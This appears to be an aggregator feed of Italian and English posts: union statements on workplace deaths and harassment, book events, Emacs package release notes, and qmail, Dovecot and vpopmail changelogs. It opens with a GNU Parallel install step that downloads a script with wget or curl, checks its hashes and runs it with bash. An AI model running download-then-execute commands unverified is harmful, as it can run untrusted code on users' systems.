    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

  • Give a demo at your local user group/team/colleagues
  • Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
  • Get the merchandise https://gnuparall ... igns/gnu-parallel
  • Request or write a review for your favourite blog or magazine
  • Request or build a package for your favourite distribution (if it is not already there)
  • Invite me for your next conference


If you use programs that use GNU Parallel for research:

  • Please cite GNU Parallel in you publications (use --citation)


If GNU Parallel saves you money:



About GNU SQL


GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.


About GNU Niceload


GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

Muore operaio schiacciato in provincia di Lucca: non è una tragedia, è omicidio sul lavoro

26 Maggio 2026 ore 17:06

Un altro operaio ucciso.

Un altro lavoratore che esce di casa e non ci torna più.

A Spianate, in provincia di Lucca, un operaio di 31 anni è morto schiacciato da una pressa dentro la ditta Cora Srl.

Non chiamatele morti bianche. Non chiamatele fatalità.

Non chiamatele tragiche coincidenze.

Questi sono omicidi sul lavoro.

Sono il prodotto di un sistema fondato sul profitto, sulla compressione dei costi, sulla riduzione della sicurezza a semplice variabile economica. In questo sistema i lavoratori vengono trattati come numeri, ingranaggi sostituibili, costi da abbattere per aumentare margini e produttività.

Ogni volta ci raccontano la stessa storia: si accerteranno le responsabilità, era un bravo lavoratore, si parla di “cordoglio”. Poi tutto continua come prima. Turni massacranti, appalti, precarietà, ritmi insostenibili, manutenzioni rimandate, formazione insufficiente, controlli inesistenti.

La verità è che queste morti vengono messe in conto.

Perché investire davvero in sicurezza costa.

E nel capitalismo italiano la vita di un operaio vale meno di un bilancio aziendale.

Mentre governo e padroni parlano di competitività e crescita, nei luoghi di lavoro si continua a morire. I profitti aumentano, i salari crollano, i diritti vengono smantellati e chi lavora paga con il sangue.

Noi diciamo basta.

Serve l’introduzione immediata del reato di OMICIDIO SUL LAVORO per imprenditori, dirigenti e responsabili che, violando norme e obblighi di sicurezza, causano la morte di lavoratrici e lavoratori.

Chi risparmia sulla sicurezza deve pagare penalmente.

Chi sfrutta deve rispondere delle proprie responsabilità.

Chi considera la vita operaia sacrificabile deve essere colpito duramente.

Non ci uniamo al coro dell’ipocrisia istituzionale.

La responsabilità politica è di governi che da anni smantellano controlli, favoriscono precarietà e obbediscono agli interessi delle imprese. La responsabilità morale è di un sistema economico che pretende produttività infinita e accetta la morte come prezzo normale del profitto.

Finché il profitto verrà prima della vita, continueremo a contare i morti.

E noi continueremo a stare dalla parte dei lavoratori contro questo sistema marcio, costruito sullo sfruttamento, sulla precarietà e sul sacrificio quotidiano di chi produce ricchezza e viene ripagato con salari da fame e bare.

Non abbiamo nulla da condividere con chi si arricchisce sulla pelle degli operai.

Nessuna pace sociale con padroni e governi complici di questa strage continua.

Ogni lavoratore ucciso dal profitto pesa sulle coscienze di chi difende questo modello economico fondato sullo sfruttamento e sull’impunità.

La nostra rabbia non si spegne con le parole di circostanza.

La nostra risposta sarà organizzazione, lotta e conflitto.

Perché chi lavora ha diritto a vivere.

E chi trasforma i luoghi di lavoro in luoghi di morte deve essere chiamato con il suo nome: responsabile di un omicidio sul lavoro.

Chennai City Lights

26 Maggio 2026 ore 16:50
Chennai, on India's southern coast along the Bay of Bengal and with a metropolitan population of about 8.7 million, shines with white LED streetlights in this photograph taken at approximately 9:13 p.m. local time on May 2, 2026, from the International Space Station.

Ristorazione e Turismo: una guida contro le molestie in vista della stagione estiva,di festuval ed eventi cittadini

26 Maggio 2026 ore 15:19

Sportello sindacale contro le molestie di genere sui luoghi di lavoro – RETE ISIDE/USB 3389336083 - sicurealavorolivorno@usb.it

Negli ultimi anni Livorno ha visto crescere il peso economico del turismo, degli eventi stagionali e dei servizi legati alla ristorazione, all’intrattenimento e all’accoglienza. Questa trasformazione ha prodotto nuove occasioni di impiego all’interno di un settore sempre più fondato su un modello di lavoro deliberatamente e strutturalmente reso povero, precario e subalterno: caratterizzato da flessibilità e stagionalità estrema, salari bassi, contratti brevi o intermittenti, part time involontari ed elevata ricattabilità economica. In molti casi si tratta di lavori svolti da giovani, studenti, lavoratrici e lavoratori migranti o persone che vivono situazioni di fragilità economica e che, proprio per questo, incontrano maggiori difficoltà nel denunciare abusi o comportamenti scorretti per paura di perdere il posto o di non essere richiamati la stagione successiva. A questo si aggiunge una diffusa area di informalità lavorativa, fatta di lavoro nero, lavoro grigio, mansioni non contrattualizzate e assenza di tutele reali, condizioni che aumentano ulteriormente l’esposizione a ricatti, abusi e molestie.
Nei contesti stagionali poi il confine tra lavoro, socialità e “intrattenimento” tende inoltre a diventare più ambiguo: bar, festival, locali, stabilimenti balneari ed eventi cittadini sono spesso spazi attraversati da consumo di alcol, rapporti informali e ritmi intensi, dove atteggiamenti molesti o discriminatori vengono troppo facilmente banalizzati come normale dinamica di settore, secondo una logica perversa di naturalizzazione degli abusi. In questo quadro, molestie, pressioni, ricatti, discriminazioni sessiste, razziste o omotransfobiche e abusi di potere rischiano di essere percepiti come inevitabili, soprattutto nei confronti di chi occupa posizioni lavorative più precarie e subalterne.
È invece opportuno riconoscere che il contrasto e la prevenzione delle molestie e degli abusi sui luoghi di lavoro contribuisce a costruire ambienti più sicuri e vivibili per tutte e tutti, rompendo il silenzio e l’isolamento che troppo spesso accompagnano queste esperienze.


In vista della stagione estiva che sta per cominciare e degli eventi che, come ogni anno, attraverseranno Livorno - a partire dai contesti ufficiali come il Festival Straborgo che si terrà in città dal 29 maggio al 1° giugno, fino ad Effetto Venezia - che comporteranno un prevedibile aumento dei flussi e dei carichi di lavoro, torna centrale il tema delle condizioni di lavoro nei settori legati al turismo, alla ristorazione, all’accoglienza e all’organizzazione. USB e la RETE ISIDE richiamano, dunque, con forza l’attenzione su un tema troppo spesso sottovalutato: la sicurezza e la tutela delle lavoratrici rispetto a molestie, comportamenti inappropriati e violenze nei luoghi di lavoro.

Le molestie NON sono “parte del lavoro”
Qualsiasi comportamento indesiderato a sfondo sessuale, verbale o fisico, che leda la dignità della lavoratrice, costituisce una violazione della normativa vigente in materia di salute e sicurezza sul lavoro (D.Lgs. 81/2008) e delle norme antidiscriminatorie. Non esiste alcuna giustificazione legata al contesto, all’afflusso di clientela o al “clima festivo”.

È responsabilità del datore di lavoro prevenire e intervenire
Ricordiamo che il datore di lavoro ha l’obbligo giuridico di garantire un ambiente di lavoro sicuro e rispettoso. Ciò significa:

•⁠ ⁠Valutare tutti i rischi, compresi quelli legati a molestie e violenze;
•⁠ Adottare misure di prevenzione e protezione adeguate;
•⁠ Intervenire tempestivamente in caso di segnalazioni.

L’inerzia o la sottovalutazione di episodi segnalati può configurare responsabilità diretta del datore di lavoro, con possibili sanzioni civili e penali.

Esiste una tutela internazionale: Convenzione ILO n. 190
L’Italia ha ratificato la Convenzione n. 190 dell’Organizzazione Internazionale del Lavoro, che riconosce il diritto di ogni persona a un mondo del lavoro libero da violenze e molestie. Questa convenzione rafforza il quadro di tutela e obbliga anche i datori di lavoro ad adottare politiche attive di prevenzione e contrasto.

Cosa possono fare le lavoratrici
RETE ISIDE e  USB invitano tutte le lavoratrici a non restare sole e a tutelarsi attivamente:

•⁠ Segnalare immediatamente ogni episodio al datore di lavoro o al responsabile della sicurezza (RLS/RLST);
•⁠ Documentare quanto accade (annotazioni, messaggi, eventuali testimoni);
•⁠ Rivolgersi al sindacato per supporto e assistenza;
•⁠ In caso di mancato intervento aziendale, attivare gli organi ispettivi (Ispettorato del Lavoro, ASL);
•⁠ Nei casi più gravi rivolgersi ai Centri Anti Violenza e/o sporgere denuncia alle autorità competenti.

USB e RETE ISIDE  sono al vostro fianco
Non accetteremo che, dietro la retorica dell’evento e del turismo, si nascondano condizioni di lavoro degradanti e rischiose. La sicurezza e la dignità non sono negoziabili.

Invitiamo tutte le lavoratrici della ristorazione a contattare gli Sportelli territoriali dedicati al contrasto delle molestie, delle discriminazioni e della violenza di genere nei luoghi di lavoro per segnalazioni, supporto e tutela collettiva. Solo attraverso l’organizzazione e la lotta possiamo contrastare abusi e silenzi.


Rete Iside/Unione Sindacale di Base
Sportello contro molestie, discriminazioni e violenza di genere nei luoghi di lavoro Livorno

Dialogo tra «Mensaleri» e «Biografia di una classe operaia»

Il 29 marzo, nel Teatro comunale di Isola del Liri (FR), si è svolto l'incontro tra due libri e due autori: Mensaleri di Wu Ming 2 e Biografia di una classe operaia. I cartai della valle del Liri. 1824 - 1954 di Alfredo Martini.

A tenere le fila del dialogo ci ha pensato Lorenzo Teodonio.

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Fratelli Graviano: Bombe, Stragi e Omicidi — Il Clan di Brancaccio

25 Maggio 2026 ore 21:10

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Chi erano davvero i fratelli Graviano? Due uomini di Brancaccio che hanno ordinato stragi, fatto esplodere bombe nel cuore d'Italia e ucciso un prete di quartiere. Giuseppe e Filippo Graviano: i killer più fedeli a Totò Riina.

I fratelli Graviano sono stati tra i protagonisti più oscuri della stagione stragista di Cosa Nostra. Dall'organizzazione degli attentati contro Maurizio Costanzo alle stragi che hanno cambiato per sempre la storia d'Italia, fino all'omicidio di Don Pino Puglisi, Italia Mistero ricostruisce il potere del clan di Brancaccio e il terrore imposto negli anni più sanguinosi della mafia siciliana.

Cosa trovi in questo video:
✔️ Chi sono Giuseppe e Filippo Graviano: il clan di Brancaccio e i legami con Totò Riina
✔️ Gli attentati contro Maurizio Costanzo del 1993: chi ha organizzato le bombe
✔️ Le stragi di Capaci e via D'Amelio: il ruolo dei Graviano nella strategia del terrore
✔️ L'omicidio di Don Pino Puglisi: il prete di Brancaccio ucciso dalla mafia il 15 settembre 1993
✔️ Le bombe del 1993 a Roma, Milano e Firenze: la strategia di attacco allo Stato
✔️ Collaboratori di giustizia, processi e condanne: la caduta dei fratelli Graviano

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AVVERTENZA
• Questo video è frutto di ricerca giornalistica e utilizza solo fonti pubbliche e accessibili.
• Alcune immagini o brevi spezzoni video sono riprodotti per finalità di cronaca, critica, commento o informazione ai sensi dell'art. 70 LDA.
• Le ricostruzioni hanno esclusivamente scopo divulgativo.
• Non vengono promossi comportamenti contrari alla legge.
• Questo contenuto NON costituisce pubblicità né contiene contenuti sponsorizzati.

MEGA CRASH SULLE PITBIKE CON @MolteniMichele e @Pakytwc

25 Maggio 2026 ore 14:00

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Per allenarmi in vista della Malossi Racing Accademy sono andato sulle pitbike con @Pakytwc e @MolteniMichele ! Prima volta per Michi sulle pit e non credo vorrà tornare dopo il mega crash ceh abbiamo fatto 😰

INFO & ISCRIZIONE Malossi Racing Accademy: https://trofei.malossi.com/trofei/contact/malossi-racing-academy?fbclid=IwY2xjawGinSVleHRuA2FlbQIxMAABHVJQP

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Gli uomini pesce. Conversazioni anfibie attorno a un romanzo geografico

«Questa sarà una conversazione anfibia, ambigua... Dubbia... Anche mostruosa!»

Così Giada Peterle, direttrice del Museo di Geografia dell'Università di Padova, ha introdotto l'incontro su Gli uomini pesce, svoltosi proprio in quel luogo il 19 maggio 2026. Luogo che, ha aggiunto Peterle, è il«naturale approdo» del romanzo, sia perché parte di quest'ultimo è «ancorata» in quelle stanze, sia perché trattasi di un «romanzo geografico», anzi, di un romanzo che è «geografo esso stesso» e ci interroga sulla geografia come forma del pensiero.

A confrontarsi sul libro un parterre di docenti di geografia: Francesco Visentin, Andrea Pase, Luca Bonardi e Margherita Cisani. Al termine dei loro interventi, Wu Ming 1 ha raccolto gli spunti, ricostruito le tappe del suo lavoro sul romanzo e risposto alle domande del pubblico. Nel mentre, è arrivata una lettera di Antonia Nevi, di cui si è data pubblica lettura.

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Presentazione del volume “Storia della Repubblica. L’Italia dalla liberazione ad oggi” di Guido Crainz

25 Maggio 2026 ore 09:20

Presentazione del volume "Storia della Repubblica. L'Italia dalla liberazione ad oggi" di Guido Crainz

Mercoledì 26 maggio 2026, ore 17.00, Edificio dell’Orologio – Piazza L. Orlando, Livorno
Presentazione del volume Storia della Repubblica. L’Italia dalla Liberazione ad oggi (1945–2026) di Guido Crainz (Donzelli, 2026).

Ottant’anni di storia repubblicana sono il risultato di un percorso intenso, intriso di speranze e delusioni, di traumi e mutamenti inavvertiti. Quanto siamo cambiati? E quanta parte di questa storia è ancora viva nella nostra memoria collettiva? Con questo volume Crainz ripercorre l’Italia dalla Ricostruzione fino ai giorni nostri, con uno sguardo capace di intrecciare politica, società e cultura di massa, e con un capitolo finale dedicato agli ultimi dieci anni e alle trasformazioni in corso nella fisionomia culturale e istituzionale del paese.

Con l’autore dialogheranno Rocco Garufo (Assessore del Comune di Livorno) e Catia Sonetti (Direttrice ISTORECO Livorno). Introduce e coordina Claudia Pavoletti, giurista e operatrice culturale.
L’ingresso è libero e gratuito.

Amin Bandali: Thinking about life - chat with Protesilaos

24 Maggio 2026 ore 04:39

In the recent weeks I've been engaging Prot as a coach to help review my new ffs package for GNU Emacs as I worked on preparing it for inclusion in GNU ELPA, as well as discussing other Emacs- and life-related topics.

UPDATE 2026-05-23 22:39:15 -0400: Prot also published an article about our session on his website: https://protesilaos.com/commentary/2026-05-23-life-issues-and-philosophy-amin-bandali/

In our nearly 2-hour conversation, we discussed at length and in depth various aspects of life in the current times. For instance, feeling overwhelmed in the face of innumerable things happening at once, with technology changing our perception and making events feel proximate and imminent.

We talked about seasonality and rhythms in life, including in relation to burnout and knowing our own limitations, and descriptive vs prescriptive thinking when reflecting on the expectations we may place on our self when comparing our self to others through the lens of our necessarily-incomplete impressions and glimpses of their lives. We discussed absence or loss as a dual to presence or persistence in the process of life. How with our memories and through embodying the philosophy and teachings of departed loved ones their essence and legacy continues to live on within us. But also loss in the sense of us losing parts of our self in life-defining moments while preserving other parts and gaining new ones, being liberated of some of the burdens of our past self and in effect becoming someone else in the process.

In being true to our self, we talked about humans as multi-faceted beings and the importance of expressing and giving a voice to these different aspects of our self, and keeping alive that child-like sense of awe and wonder. To live a life where the pace and rhythms of our environment are in sync with our internal rhythms, and to not give others undue power over us or our happiness through trying to live according to their prescribed standards or expectations.

I also learned more about Prot's practical philosophy of situational awareness in life, not merely as a means for survival, but also as a way of appreciating all of the beauty that surrounds us, and a method for gaining the knowledge and skills to apply what we learn from patterns in one area of life to other areas.

We concluded our session with a mention to the concept of sanctity, to set aside a sacred time or place for our self wherein no distractions are allowed, where we can unwind, rest, and recharge for whatever comes next.

Here is the video recording of our session, which I share with Prot's permission:

You can view or download the full-resolution video from the Internet Archive.

Like Prot, I am invigorated and inspired to live a full, honest life. To do my best, do what I do in earnest, and make the best of what I have.

Take care, and so long for now.

THE POOTER - "That's Gaslighting!" Farting Man Pranks People at Walmart

22 Maggio 2026 ore 18:00

💾

Buy a Pooter - http://thepooter.com

Join this channel to get access to perks:
https://www.youtube.com/channel/UCsDl6A77CrbkSJLtxQFVDGw/join

Subscribe for more clean comedy and pranks!

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Amin Bandali: ffs 0.2.2 released

22 Maggio 2026 ore 12:55

ffs provides a minor mode for simple plain text presentations in Emacs, where the slides are separated using the page-delimiter, by default the form feed character (^L).

I wrote ffs in early 2022 for my LibrePlanet 2022 presentation the Net beyond the Web, and earlier this year decided to polish it towards being a proper package and submit it to GNU ELPA. The manual still needs some more work, but the overall package is in pretty good shape so I submitted for inclusion in GNU ELPA.

ffs and I owe a debt of gratitude to Protesilaos for rounds of code review and feedback for improving and polishing the package in preparation for submission to GNU ELPA. You can watch videos of these sessions posted earlier on my website:

Further, inspiration for parts of ffs's implementation was gratefully drawn from Protesilaos's Logos package for Emacs.

Dedicated to the loving memory of Farangis Yousefinia.

Below are the release notes.


Version 0.2.2 on 2026-05-21

First release of ffs on GNU ELPA.

The attempted build of ffs 0.2.1 within GNU ELPA build sandbox failed with an Error: void-function (org-texinfo-kbd-macro) due to use of #+macro: kbd (eval (org-texinfo-kbd-macro $1)) in ffs.org for better formatting of key sequences in the exported Texinfo copy. This seems to have happened for the specific case of generating a plain text README using ox-ascii where ELPA didn't load ox-texinfo. To try and mitigate this, a README.md has been added for use as the package README instead of ffs.org. If not sufficient, a Texinfo copy of the ffs manual will be shipped instead of the Org one in the next release.

ffs 0.2.2 also includes small fixes and improvements throughout ffs.el from Stefan Monnier, and additional feedback to be addressed in future releases.

Version 0.2.1 on 2026-05-20

The attempted build of ffs 0.2.0 within GNU ELPA build sandbox failed with a "Cannot include file" error on the "#+include: fdl.org" in the manual. So, as a workaround, we switch to using the official Texinfo copy of the GNU FDL license rather than an Org copy.

Version 0.2.0 on 2026-05-19

First release of ffs intended for GNU ELPA.

After a few years of inactivity, in early 2026 I decided to dust off ffs.el, polish and document it, and offer for inclusion in GNU ELPA as a proper package.

Default value of ffs-default-face-height changed to nil

To minimize unexpected and/or unnecessary changes out-of-the-box, the default value of ffs-default-face-height has been changed to nil.

ffs-edit-buffer-name demoted from user option to variable

This is not an important user-facing setting, so to help avoid overwhelming users with many options, this has been demoted from a user option to a variable.

Several new user options for customizing ffs's behaviour

As part of the effort to bring ffs more in line with the conventions of other existing Emacs packages, the mechanisms for toggling various parts of Emacs's interface to minimize visual clutter were changed from being minor modes to being customizable user options. These are the replacement new user options, with a default value of nil:

  • ffs-hide-cursor
  • ffs-hide-mode-line
  • ffs-hide-header-line

Their value is buffer-local, and may be set globally using setq-default. See the sample configuration in the manual for an example of how to customize them.

The new ffs-page-delimiter user option defines the page delimiter inserted by ffs-edit-done when inserting a new slide. Emacs's page-delimiter regexp should be able to match ffs-page-delimiter's value, so if you use a custom page-delimiter be sure to customize ffs-page-delimiter accordingly.

The new ffs-echo-progress user option controls whether to display in echo area the progress through the slides. When non-nil, changing slides will also display the progress through the slides in the echo area. The format of the displayed progress can be customized using the new ffs-echo-progress-format user option.

The new ffs-edit-display-buffer-alist user option may be used to control the Window configuration for the ffs-edit buffer. By default, it will display the ffs-edit buffer in the same window.

The new ffs-edit-done-hook user option may be used to define hooks to be run at the end of ffs-edit-done after returning to the main ffs presentation buffer.

Lastly, a new ffs-find-speaker-notes-function variable was added to allow customizing the find function used for opening the speaker's notes file, defaulting to find-file-other-frame.

Version 0.1.0 on 2022-05-19

Initial publication of ffs.el as part of my personal configurations for GNU Emacs.

My first attempt at this concept was a now-archived ffsanim.el, a major mode implementation that used Emacs's animate library to animate slide texts onto the screen. Shortly after realizing the shortcomings of that approach, I abandoned it in favour a minor mode implementation and published version 0.1.0 of what is now ffs in my personal configs repository.

I used this implementation for presenting my LibrePlanet 2022 talk, The Net beyond the Web.

I picked "ffs" as the package name, the acronym for form feed slides.

Installazione di Dovecot e sieve su qmail + vpopmail

6 Giugno 2026 ore 13:31

Changelog

  • May 14, 2026
    - dovecot 2.4.3 released. Changed dovecot_config_version and dovecot_storage_version in dovecot.conf
    - the new version has lua as a dependency. Added --without-lua at configure command
  • Feb 25, 2026
    - Added Server Name Indication (SNI) settings in sni.conf.template, imported from local.conf commit
    - userdb iterate query nor orders by domain and username commit
    - 15-mailboxes.conf: fts_autoindex = no added to Trash and Junk folders commit
    - 10-auth.conf: + character added to auth_username_chars commit
  • Nov 24, 2025
    - dropped 'enforce = no' from 90-quota.conf to enforce quota limits (commit)
  • Nov 22, 2025
    - quota driver switched to 'count' (commit). 'count' is the recommended way of calculating quota on recent Dovecot installations.
  • Oct 30, 2025
    - dovecot ugraded to v. 2.4.2
  • Mar 29, 2025
    - dovecot updated to v. 2.4.1-4
  • Mar 15, 2025 (config version 2.4.0.1 diff
    - Added quota warnings feature. Improved quota configuration in 90-quota.conf (more info here)
    - Configured auth-master.conf.ext and auth-deny.conf.ext. To be included from local.conf
  • Mar 9, 2025
    - fixed quota calculation in sql queries (tx Hakan Cakiroglu)
  • Feb 22, 2025
    - Bug fix in 90-sieve.conf: global script to move spam into Junk now working
    - Bug fix in move-spam.sieve: erroneously matches "YES" if "BAYES" is in the header
  • Feb 15, 2025
    - added support for vpopmail configured with --disable-many-domains
    - 90-sieve.conf: global script move-spam.sieve called correctly
  • Feb 8, 2025
    - dovecot_postlogin.sh: query changed in order to add new records as well (tx Bai Borko)
    - bug fix: pop3 service was executing imap instead of pop3 (tx Gabriel Torres)
  • Jan 29, 2025
    - dovecot upgraded to v 2.4.0. Old configuration files are not valid anymore and you have to install dovecot from scratch.
  • Nov 15, 2024
    - added a postlogin script to update the vpopmail.lastauth SQL table on login (see 10-master.conf, thanks kengheng)
  • Dec 29, 2023
    default_pass_scheme = SHA512-CRYPT (was MD5-CRYPT) in dovecot-sql.conf.ext, as vpopmail-5.6.x has now SHA512-CRYPT password by default
  • Feb 10, 2023
    - added a patch to restore the old vpopmail-auth driver (tx Ali Erturk TURKER)

Aggiornare qmail

8 Luglio 2026 ore 05:01

Call for testers

Ho appena tirato su una modifica a tutto il codice di base, mirata a rendere il codice di qmail compatibile con le specifiche C23 e i gli ultimi compilatori GCC e Clang. Sul mio server di produzione funziona senza alcun problema da alcune settimane. La compilazione è stata testatta su linux, freebsd, openbsd, netbsd e con i compilatori GCC fino alla versione 15.2 e Clang fino alla versione 19.1.7. Trattandosi di una modifica importante, prima del rilascio definitivo, chiederei a chi ne avesse la possibilità di collaborare al testing scaicando l'ultima versione come segue

git clone https://github.com/sagredo-dev/qmail.git

Changelog

  • Apr 7, 2026
    - (security) Remote Code Execution via Shell Injection in qmail-remote TLS Error Handler in #42 (tx Diep Pham)
  • Apr 2, 2026
    - qmail-remote auth improvements by pierluigi in #39
    - Fixed DKIM ed25519-sha256 signing and verification to conform to RFC8463 by @agerstla in #40
    - Updated qmail-qfilter to support filters defined in control/qfilters by @agerstla in #41
  • Feb 25, 2026
    - Improved DKIM status handling by @agerstla in #35
    - Ported over DKIM_BAD_IDENTITY support from Indimail (tx Manvendra Bhangui and Andreas Gerstlauer 1299b55)
    - SNI support for qmail-smtpd by @agerstla in #37
    - Added qmail-qfilter by @agerstla in #38
  • Feb 3, 2026
    - Bug fix for verifying multiple DKIM signatures (second one always failed due to a DNS lookup bug). tx Andreas Gerstlaurer #31
    - config-all.sh upgrade #33
    * config-all.sh: moreipme is now populated with IPs in separate lines
    * config-all.sh: rsa dh keys can be created even if the certificate creation is skipped
    * config-all requires to accept overwriting with y/N/a=all options
  • Jan 8, 2026
    - bug fixed in helodnscheck: it allowed domains with only one dot #30
  • Jan 5, 2026
    - helodnscheck.cpp
    : PCRE dependency avoided, to make happy Debian 13 d987ec4
    - config-all now grabs the correct network interface c60d3fa
    - config-all will now prompt for 1024/2048 key length for DKIM c842cea
    - Fixed typo in qmailctl 3f1ea75
    - Makefile: Fixed incorrect rule syntax for 'make cert' 80222cc
  • Sep 8, 2025
    - Fixes in SPP handling and support for [pass] plugins after RCPT accept. Support for RBLRESULT environment variable and RBL ignore ('=') option. (tx Andreas Gerstlauer)
    - Added -std=gnu17 to conf-cc, fixed some other issues and now it compiles on gcc-15.2 in #28
    - scripts/qmail-pop3d and qmail/pop3sd: ports changed to 110 and 995
    - Received: email header now hides the sender's hostname when the sender is RELAYCLIENT or is authenticated. 785e84b
  • Apr 30, 2025
    qmailctl
    , qmHandle, queue_repair and all scripts installed in QMAIL/bin and not in /usr/local/bin by config-all.sh
  • Apr 25, 2025
    - added a configuration script config-all, which configure and installs the control files (as per the original config-fast script), aliases, SRS (uses control/me as the srs_domain), log dirs in /var/log/qmail, tcprules (basic, just to make initial tests), supervise scripts, qmailctl script, DKIM control/filterargs and control/domainkeys dir, SURBL, smtpplugins, helodnscheck spp plugin, svtools, qmHandle, queue-repair, SSL key file (optional).
    Consider this feature as "testing"
  • Feb 11, 2025
    - Several adjustments to get freeBSD and netBSD compatibility. More info in the commit history. Hints/comments are welcome.
    - freeBSD users have to erase the very 1st line of the file "conf-lib", as libresolv.so in not needed on freeBSD.
    - Dropped files install-big.c, idedit.c and BIN.* files.
    - Dropped files byte_diff.c, str_cpy.c, str_diff.c, str_diffn.c and str_len.c, which break compilation on clang and can be replaced by the functions shipped by the compiler (tx notqmail).
    - Old documentation moved to the "doc" dir. install.c and hier.c modified accordingly
    - conf-cc and conf-ld now have -L/usr/local/lib and -I/usr/local/include to look for srs2 library
    - conf-cc and conf-ld now have -L/usr/pkg/lib and -I/usr/pkg/include to satisfy netBSD
    - vpopmail-dir.sh: minor correction to vpopmail dir existence check
    - srs.c: #include <srs2.h> now without path

Server Name Indication (SNI) per qmail e dovecot

21 Maggio 2026 ore 04:31

Server Name Indication (SNI) è una estensione del protocollo TLS che consente a un server di presentare differenti certificati a seconda dell'hostname richiesto dal client durante il saluto TLS.

In un ambiente email moderno, molti domini condividono uno stesso indirizzo IP per i servizi SMTP, IMAP, POP3 e submission. Senza SNI, un amministratore di un server email può presentare un solo certificato per ogni socket disponibile, cosa che obbliga l'aministratore ad affidarsi a certificati multi-dominio (SAN) o a certificati con wildcard. Questo approccio aumenta i problemi operativi tra gli utenti finali novelli, che spesso non sono in grado di usare la configurazione automatica del client per configurare correttamente le loro mailbox.

L'abilitazione di SNI nei serivizi mail consente al server di presentare il certificato appropriato basato sull'hostname richiesto dal client, contenuto nel suo indirizzo email.

La funzionalità SNI per la mia distribuzione qmail è stata aggiunta da Andreas Gerstlauer (commit qui e qui), che vorrei ringraziare.

  • ClamAV  

ClamAV

21 Maggio 2026 ore 04:31

Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways.

Changelog

  • Mar 4, 2026
    - clamav upgraded to v 1.5.2
  • Oct 11, 2025
    - clamav upgraded to v 1.5.0. A recent version of rust is needed (successfully using 1.88 here). Just reinstall as explained below. No particular change is needed in the config files.

Installare e configurare VPopMail

2 Giugno 2026 ore 18:30

Vpopmail fornisce un modo semplice di gestire indirizzi di posta su domini virtuali e account email diversi da quelli su /etc/passwd.

Changelog

  • Feb 11, 2026
    - vlimits.c
    : avoids no file found exit when .qmailadmin-limits is not existent because no limits are defined yet (a565779)
    - added sql files to be imported on upgrade to v. 5.6.x (8136480)
  • Feb 8, 2026
    - migliorata la sezione "upgrade"
    - vmysql.c changes (#10)
    • valias_create_table now check if table is already created in order to avoid warnings in dotqmail2valias
    • solved quotes issue in query in valias_insert function
  • Nov 20, 2025
    - vutil: 'isSomething' functions reviewed to satisfy qmailadmin calls in #9
    - Added definition of 'call_onchange' function and cured its calls to avoid break 97ffe38
  • Oct 30, 2025 (v. 5.6.10)
    - Added specific usage informations for s/qmail users (look here)
    - Dropped -std=gnu17 from compilation options and solved (probably) all breaks and warnings on gcc 15.2 2d8526d
    - configure.ac now looks for mariadb include and lib dir in addition to mysql dab36e8
    - configure.ac automatically looks for vanilla qmail's users/cdb and s/qmail's users/assign.cdb file 723efb3
    - Updated the usage() funcion message in vadduser.c to clarify the use of pre-hashed passwords with -e 5b5ccdb
    - control/defaultdelivery is now installed by vpopmail if --enable-defaultdelivery 77f54eb
    - vrcptcheck checks all kind of address (users, forwards, valiases) #7
    - Dropped unused functions in vpopmail.c #8
  • Sep 1, 2025 (v. 5.6.9)
    - added -std=gnu17 to gain compatibility with gcc-15 (PR #6)
    - pw_clear_passwd field enlarged to varchar(128) to create room for long passwords (tx Ricardo Brisighelli) c54688d
  • Mar 29, 2025
    - defaultdelivery
    feature (--enable-defaultdelivery) changes (more info here, commit):
    • vdelivermail is installed by default in .qmail-default of newly created domains with option 'delete' as in the previous version.
    • if no user's valiases and no .qmail are found, then the message is sent to the control/defaultdelivery file, so that dovecot-lda (or whatelse) can store the mail into inbox and execute the sieve rules.
    • if vdelivermail is found in control/defaultdelivery, then it is ignored. The delivery remains in charge to vdelivermail, to avoid loops.
    • v. 5.6.8 is backward compatible. The users having .qmail from previous versions of the defauldelivery feature are not affected by this change.

vQadmin

21 Maggio 2026 ore 04:31

VqAdmin è un pannello di controllo su interfaccia web che consente di eseguire azioni che richiedono l'accesso a root — per esempio, aggiungere e cancellare domini.

Come si può vedere, VqAdmin ha una nuova versione con un nuovo aspetto mobile responsive, con tutte le mie vecchie patch incluse (compresa quella di ALI) e diverse correzioni e ripuliture del codice sorgente. Ho risolto tutti i warnings sia di autotools che di gcc e cambiato un paio di cose per poter rifare il tema html (guardare il changelog per maggiori dettagli). Come sempre i contributi nei commenti sono graditi.

PS: anche la parte apache è stata modificata e prima di fare l'aggiornamento è necessario guardare quali modifiche sono necessarie.

Have fun!

Changelog

  • Feb 18, 2026 (v. 2.4.7)
    - domain's users lists valiases too #4
    - bug fix in mod_domain.html: Mailing Lists domain limit was not copied correctly (ecce453)
  • Jan 31, 2026
    - relaylimits added to control files 4c5a859
    - disabled maintainer mode to avoid autotools regeneration on user builds #3
